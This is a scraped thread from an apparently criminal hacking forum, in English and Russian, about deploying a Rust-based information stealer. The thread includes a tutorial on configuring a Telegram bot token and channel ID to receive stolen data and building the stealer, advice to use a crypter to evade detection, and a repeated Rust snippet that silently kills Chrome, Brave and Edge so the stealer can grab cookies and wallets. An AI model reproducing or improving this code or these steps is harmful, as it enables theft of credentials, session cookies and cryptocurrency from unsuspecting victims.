Пожалуйста, обратите внимание, что пользователь заблокирован
Спасибо брат
Its fine.
Everyone is here to learn.
I will make a short Tutorial on friday( Im NOT Home so i can only Support via Phone)
hi bro, github link was disable ,,,do you know it ? i tried to open it , it was diable already.Already in it.
For more information about this error, try `rustc --explain E0793`.As Promised here, for everyone a tutorial(With screens)
1. Download the src and unzip it.
2. Install Rustup from here. https://win.rustup.rs/x86_64
2.1 Install VS Studio and select the Desktop Development with C++ (needed for linking)
Посмотреть вложение 39076
After you installed it all, you can finally go to tg and create a bot.
3. you can open main.rs with any editor.
Now copy the bot token into Посмотреть вложение 39077
Between the " ";
It will look like this.
Посмотреть вложение 39078
Now create a Group and add your created bot.
After that get the Channel ID via https://web.telegram.org/z/
Select the group and you will see the id in the url: Example
Посмотреть вложение 39079
Now copy the whole part after the # into the CHANNEL_ID field.
It will look smth like this:
Посмотреть вложение 39080
Now you can type in a cmd or in your ide
now you will find your ready stealer into target\release\Код:cargo build --release
Have fun & If you need help dont be shy to contact me
Most of us in this topic are waiting DoKitO to get back from his vacationAny PE crypter should work
Also sorry Guys for the Update delay im on a vacation right now![]()
спасибо тема огонь

use std::process::Command;
use std::os::windows::process::CommandExt;
use winapi::um::winbase::CREATE_NO_WINDOW;
/* ... */
fn kill_browsers() -> Vec<String> {
let browsers = vec!["chrome.exe", "brave.exe", "edge.exe"];
let mut killed = Vec::new();
for browser in browsers {
let output = Command::new("taskkill")
.arg("/F")
.arg("/IM")
.arg(browser)
.arg("/T")
.creation_flags(CREATE_NO_WINDOW)
.output()
.expect("");
if output.status.success() {
killed.push(browser.to_string());
}
}
killed
}
/* ... */
let reborn_browsers_vec = kill_browsers();
unsafe {
let _ = opt_browsers
.into_iter()
.filter_map(|v| browsers.get(v.as_str()).cloned())
.map(|mut v| v.dump(path.clone()).map(|_| v))
.filter_map(|v| v.ok())
.collect::<Vec<_>>();
}
SysToolsLib/PowerShell/ShadowCopy.ps1 at master · JFLarvoire/SysToolsLib (github.com)I found a little mistake. It doesn't pick up cookies and wallets when the browser is running. You need to stop the browser before taking data from it.
Код:use std::process::Command; use std::os::windows::process::CommandExt; use winapi::um::winbase::CREATE_NO_WINDOW; /* ... */ fn kill_browsers() -> Vec<String> { let browsers = vec!["chrome.exe", "brave.exe", "edge.exe"]; let mut killed = Vec::new(); for browser in browsers { let output = Command::new("taskkill") .arg("/F") .arg("/IM") .arg(browser) .arg("/T") .creation_flags(CREATE_NO_WINDOW) .output() .expect(""); if output.status.success() { killed.push(browser.to_string()); } } killed } /* ... */ let reborn_browsers_vec = kill_browsers(); unsafe { let _ = opt_browsers .into_iter() .filter_map(|v| browsers.get(v.as_str()).cloned()) .map(|mut v| v.dump(path.clone()).map(|_| v)) .filter_map(|v| v.ok()) .collect::<Vec<_>>(); }
This is not good idea, I had similar idea but it wasn't working all time. Btw there will be new update with a lot of features! DoKitO told me he will check this bugI found a little mistake. It doesn't pick up cookies and wallets when the browser is running. You need to stop the browser before taking data from it.
Код:use std::process::Command; use std::os::windows::process::CommandExt; use winapi::um::winbase::CREATE_NO_WINDOW; /* ... */ fn kill_browsers() -> Vec<String> { let browsers = vec!["chrome.exe", "brave.exe", "edge.exe"]; let mut killed = Vec::new(); for browser in browsers { let output = Command::new("taskkill") .arg("/F") .arg("/IM") .arg(browser) .arg("/T") .creation_flags(CREATE_NO_WINDOW) .output() .expect(""); if output.status.success() { killed.push(browser.to_string()); } } killed } /* ... */ let reborn_browsers_vec = kill_browsers(); unsafe { let _ = opt_browsers .into_iter() .filter_map(|v| browsers.get(v.as_str()).cloned()) .map(|mut v| v.dump(path.clone()).map(|_| v)) .filter_map(|v| v.ok()) .collect::<Vec<_>>(); }